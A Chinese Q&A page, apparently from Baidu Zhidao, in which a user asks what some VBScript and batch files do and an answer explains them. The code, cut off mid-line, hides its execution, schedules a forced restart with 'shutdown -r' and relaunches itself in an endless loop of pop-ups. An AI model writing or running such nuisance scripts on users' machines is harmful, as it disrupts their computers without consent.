请问下面这是什么程序,顺便帮忙解释下这个程序

来源:百度知道 编辑:UC知道 时间:2024/05/27 17:00:08
1.vbs:msgbox " "
2.vbs:Set WshShell = WScript.CreateObject("WScript.Shell")
Return = WshShell.Run("1.bat",0)
'隐藏运行1.bat,0
3.vbs:on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""···"" ",0 ,true
dim a
do while(a <> "")
a = inputbox (" """" ","","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + ""
msgbox chr(13) + chr(13) + chr(13) + ""
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""···"" ",0 ,true
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(1

1.vbs
显示一个空的消息框

2.vbs
隐藏运行1.bat

3.vbs
先显示系统将在60秒后关机,再弹出输入框,最后取消系统关机框

1.bat
顺次启动1.vbs, 2.vbs, 3.vbs

注意到1.bat和2.vbs相互启动,最终结果是不断运行1.vbs和3.vbs,无休止地弹出消息框、系统关机框、输入框等